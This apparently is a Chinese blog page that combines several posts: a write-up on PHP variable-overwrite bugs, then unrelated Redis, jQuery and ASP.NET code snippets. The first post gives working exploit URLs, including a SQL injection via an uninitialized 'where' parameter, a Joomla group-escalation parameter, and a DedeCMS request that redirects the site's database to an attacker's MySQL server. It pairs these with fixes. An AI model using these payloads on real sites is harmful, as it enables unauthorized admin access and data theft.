【PHP】php变量覆盖经验解说

Continue Read..
1[b].变量没有初始化的问题(1):[/b]
 
http://www.2cto.com/Article/201211/172403.html
 
$updateinfo['password'] = $newpassword;里面的数组没有初始化类似这样的赋值,我们在挖洞的时候搜索类似updateinfo这样的关键字看看
 
是否初始化,如果没有。。。且register_global=On支持
 
可以提交
 
updateinfo[amount]
这样的数组随意修改自己的余额、点数、会员组、VIP等一切存放在member表的信息.
 
修复:
 
$updateinfo = array();
变量没有初始化的问题(2):
 
http://www.2cto.com/Article/201208/150678.html

 
里面说明了绕过程序的防御,这个是导致注入的一个因素. 更多因素是因为where变量没有初始化!
 
case 'list':
    $totalNum = $mysql->numTable("member", $where);
Where 没初始化 导致可执行任意sql语句
 
http://localhost/stcms_html/member/u.php?action=list&where={sql}
修复:在类调用前加上
 
$where='';
我们在挖洞的时候搜索类似where这样的关键字看,看看是否初始化.
 
变量没有初始化的问题(3):
 
http://www.2cto.com/Article/201205/130717.html
 
// 这个地方获取用户注册信息,POST进来的jform数组,但是没有详细指定
$requestData = JRequest::getVar('jform', array(), 'post', 'array');
$data = (array)$this->getData();
// 遍历出注册信息
foreach ($temp as $k => $v) {
$data[$k] = $v;
}
看似没问题的可是二维数组的特性可以覆盖住:
 
jfrom[groups][]=7,利用foreach的问题覆盖掉groups数组,变成7(Administrator)。
 
修复:像连接1那样
 
$updateinfo['password'] = $newpassword
类似这样赋值。 或者检查数组是否为二维。
 
2.核心代码配置问题引发变量覆盖:
 
Dedecms:例子(1):
 
一. 了解PHP超级全局变量
 
下面是PHP的超级全局变量,可以了解一个特性,全是数组。
 
$GLOBALS, 所有全局变量数组
 
$_SERVER, 服务器环境变量数组
 
$_GET,通过GET方法传递给脚本的变量数组
 
$_POST, 通过POST方法传递给脚本的变量数组
 
$_COOKIE,cookie变量数组
 
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
 
$_FILES,与文件上传相关得变量数组
 
$_ENV,环境变量数组
 
$_SESSION,会话变量数组
 
二:理解$_GET变量
 
可以写个PHP来看看:
 
<?php
var_dump($_GET);
?>
访问
 
http://www.xxx.com/test.php?key=value
得到
 
array(1) { ["key"]=> string(5) "value" }
OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。
 
再访问
 
http://www.xxx.com/test.php?key[arr1]=value
得到
 
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
我们通过GET方法传入了一个嵌套数组。
 
到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!
 
三. 深入跟进DEDECMS全局变量注册漏洞
 
真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:
 
提交一个嵌套数组:
 
http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X
 
array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>
array(1) { ["cfg_dbname"]=> string(1) "X" } } }
假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY
 
是_POST且是个数组,所以轻松绕过。
 
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
    {
        exit('Request var not allow!');
    }
}
接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册
 
了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
 
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!
 
四. 领悟漏洞后的修补
 
完全领悟这个漏洞后,就会知道怎么修补了。
 
1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。
 
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}
2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。
 
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) {
        if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
            exit('Request var not allow!');
        }
        ${$_k} = _RunMagicQuotes($_v);
    }
}
例子exp:
 
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS]
[cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS]
[cfg_dbname]=自己的dedecms的数据库
Dedecms:例子(2): 突破官网补丁(鸡助)
 
http://www.2cto.com/Article/201205/129974.html
 
为什么超全局变量$_REQUEST没有读取到$_COOKIE的参数呢?这个是php 5.3以后php.ini默认设置
 
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST应该就可以接受到参数了!
 
所以如果php是大于5.3的,变量覆盖漏洞应该可以再次利用!
 
 CheckRequest($_REQUEST);   //这里检查变量是否合法 漏洞缺陷!
$_COOKIE的参数根本不鸟他。。。
 
更多连接:https://forum.90sec.org/thread-2476-1-1.html
 
https://forum.90sec.org/thread-2468-1-1.html
 
3.Yaseng php变量覆盖实例:
 
Yaseng 介绍得很详细了,各种突破:http://www.2cto.com/Article/201212/174595.html
 
对于Dedecms例子2中:有部分人说& _POST[0xHEX 16进制][cfg_dbhost] //GLOBALS 这样能绕过? 本人测试多次不成功,可能是某些问题,也可能
 
是假的.

在线好友 redis解决方案

Continue Read..

    做之前搜了一圈,国内没人用吗?只有国外有用的0.0

    sns类平台通常都有好友功能,需要显示好友里有多少是当前在线的.

    在古代,人们通常用mysql来做,一个登录session表,一个好友表,用户有操作的时候update session表,统计好友在线的时候就join查询,数据库压力较大.

    现在有nosql 的 redis了,不用这么麻烦,数据都在内存里,速度非常快,毫无压力.

    redis有2种方案:

    1:set方式

    2:sets方式

    第一种set方式直接存键值对,第二种是对比在线数据和好友数据的集合,实践发现第一种的比较好,

    

    下面写实例来测试:

    

for($i=0;$i<100000;$i++){
    $redis->set('user_'.$i, $time);
}

    插入了10W条数据,公司破电脑用时6秒,消耗内存8.3MB

for($i=0;$i<100;$i++){
    $users[] = mt_rand(1, 100000);
}

foreach($users as $k=>$v){
    $re = $this->redis->EXISTS('user_'.$v);
        if($re){
        $online[] = 'user_'.$v;
    }
}

    随机100个数据,去查找存不存在,用时0.005294秒

    效果不错,设置set数据的操作,可以用js请求,放到页面footer里面,设置过期时间5-10分钟,核心代码就这样,很简单,具体大家按情况扩展.

    百万在线的站点,消耗内存也不到100MB,时间小于0.01秒.而且用户数据可以和其他业务公用,降低内存占用.

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

Jquery根据出生日期得到年龄(手术时间不能小于出生日期)

Continue Read..

html:

<asp:TextBox ID="txtBirth" onfocus="WdatePicker({isShowClear:false,maxDate:'%y-%M-%d',onpicked:function(dp){selBirthDay(dp);}})" runat="server"></asp:TextBox>

<asp:Label ID="txtAge" runat="server"></asp:Label><asp:HiddenField ID="HidtxtBrith" runat="server" />

<asp:TextBox ID="txtOperationTime" onfocus="WdatePicker({isShowClear:false,dateFmt:'yyyy-MM-dd HH:mm',onpicking:function(dp){selOpeationDate(dp);}})" runat="server" ></asp:TextBox>

 

 

jquery:

 //选择出生日期
        function selBirthDay(dp) {
            //alert(getAge(dp.cal.getDateStr()));
            $("#MainContent_txtAge").html(getAge(dp.cal.getDateStr()));
            $("#MainContent_HidtxtBrith").val(getAge(dp.cal.getDateStr()));
        }

        //选择手术日期
        function selOpeationDate(dp) {
            if ($("#MainContent_txtBirth").val() != "" && $("#MainContent_txtBirth").val() != undefined && Date.parse($("#MainContent_txtBirth").val().replace(/-/g, '/')) - Date.parse(dp.cal.getDateStr().replace(/-/g, '/')) > 1) {
                alert("手术时间不能早于出生时间,请重新选择。");
                return false;
            } else
                return true;
        }

        //计算年龄
        function getAge(birthday) {
            try {
                var birthDay = Date.parse(birthday.replace(/-/g,'/'));
                //alert(birthDay);
                var now = Date.parse(new Date());
                //alert(now);
                if (now <= birthDay)
                    return "还没出生呢";

                var lifeDuration = now - birthDay;
                var temp = 0.0;

                var formatAge = "";
                var y = lifeDuration / (365 * 24 * 60 * 60 * 1000);
                temp=(lifeDuration % (365 * 24 * 60 * 60 * 1000));
                var m = temp / (30 * 24 * 60 * 60 * 1000);

                temp = temp % (30 * 24 * 60 * 60 * 1000);
                var d = temp / (24 * 60 * 60 * 1000);
                d = d < 1 ? 0 : d;
               
                if (y > 3)
                    return Math.floor(y) + "岁";
                else if (y > 1)
                    formatAge += Math.floor(y).toString() + ((m < 1 && d < 1) ? "岁" : "岁零");

                formatAge += m < 1 ? "" : Math.floor(m) + "个月";
                formatAge += d < 1 ? (formatAge == "" ? "0天" : "") : Math.floor(d) + "天";
                return formatAge;

            } catch (e) {

            }
        }

 

 $(function () {

//form提交检查
            $("#Form1").bind("submit", function () {
                if ($("#MainContent_txtBirth").val() != "" && $("#MainContent_txtBirth").val() != undefined && Date.parse($("#MainContent_txtBirth").val().replace(/-/g, '/')) - Date.parse(dp.cal.getDateStr().replace(/-/g, '/')) > 1) {
                    alert("手术时间不能早于出生时间,请重新选择。");
                    return false;
                }

 

            });

        });

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

增改时判断是否已存在

Continue Read..

/// <summary>
        /// 验证是否存在
        /// </summary>
        public bool UPExists(AnesMS.DataModel.AnesMethod model)
        {
            int result = 0;
            string sql = "select * from [ms_patient].[AnesMethod] where (InternalCode=@InternalCode or DisplayName=@DisplayName) and AnesMethodKey!=@AnesMethodKey";
            SqlParameter[] parameters = {
                    new SqlParameter("@InternalCode", SqlDbType.NVarChar,50),
                    new SqlParameter("@DisplayName", SqlDbType.NVarChar,100),
                    new SqlParameter("@AnesMethodKey", SqlDbType.BigInt),
     
                                        };

            parameters[0].Value = model.InternalCode;
            parameters[1].Value = model.DisplayName;
            parameters[2].Value = model.AnesMethodKey;

            object obj = SqlHelper.ExecuteScalar(CommandType.Text, sql, parameters);
            if (obj != null)
            {
                result = Convert.ToInt32(obj);
            }
            return result > 0 ? true : false;
        }

        /// <summary>
        /// 验证是否存在
        /// </summary>
        public bool Exists(AnesMS.DataModel.AnesMethod model)
        {
            int result = 0;
            string sql = "select count(*) from [ms_patient].[AnesMethod] where (InternalCode = @InternalCode or DisplayName = @DisplayName)";
            SqlParameter[] parameters = {
     new SqlParameter("@InternalCode", SqlDbType.NVarChar,50),
     new SqlParameter("@DisplayName", SqlDbType.NVarChar,100)
                                        };

            parameters[0].Value = model.InternalCode;
            parameters[1].Value = model.DisplayName;

            object obj = SqlHelper.ExecuteScalar(CommandType.Text, sql, parameters);
            if (obj != null)
            {
                result = Convert.ToInt32(obj);
            }
            return result > 0 ? true : false;
        }

 

if (amMgr.Exists(aminfo))
        {
            //MessageBox.Show(this.Page, "你录入的麻醉方式的编码或名称已存在!");
            Lsavemsg.ForeColor = Color.Red;
            Lsavemsg.Text = "编码或名称已存在!!";
            return;
        }

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

asp.net后台提交时验证

Continue Read..

private bool ValidateInput()
    {
        string regex = @"^[0-9]+$";
        msg = "";
        isValidate = true;
        if (string.IsNullOrEmpty(tbInternalCode.Text.Trim()))
        {
            isValidate = false;
            msg += "编码不能为空." + "&nbsp;&nbsp;&nbsp;";
        }        
        if (string.IsNullOrEmpty(tbSortValue.Text.Trim()) || !Regex.IsMatch(tbSortValue.Text.Trim(), regex))
        {
            isValidate = false;
            msg += "排序值应为非负整数." + "&nbsp;&nbsp;&nbsp;";
        }
        if (!string.IsNullOrEmpty(tbDescText.Text.Trim())&&tbDescText.Text.Trim().Length>200)
        {
            isValidate = false;
            msg += "描述不能超过200个字符.";
        }
        return isValidate;
    }

 

protected void btnSave_Click(object sender, EventArgs e)
    {
        if (!ValidateInput())
        {
            Lsavemsg.ForeColor = Color.Red;
            Lsavemsg.Text = msg;
            return;
        }

    }

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权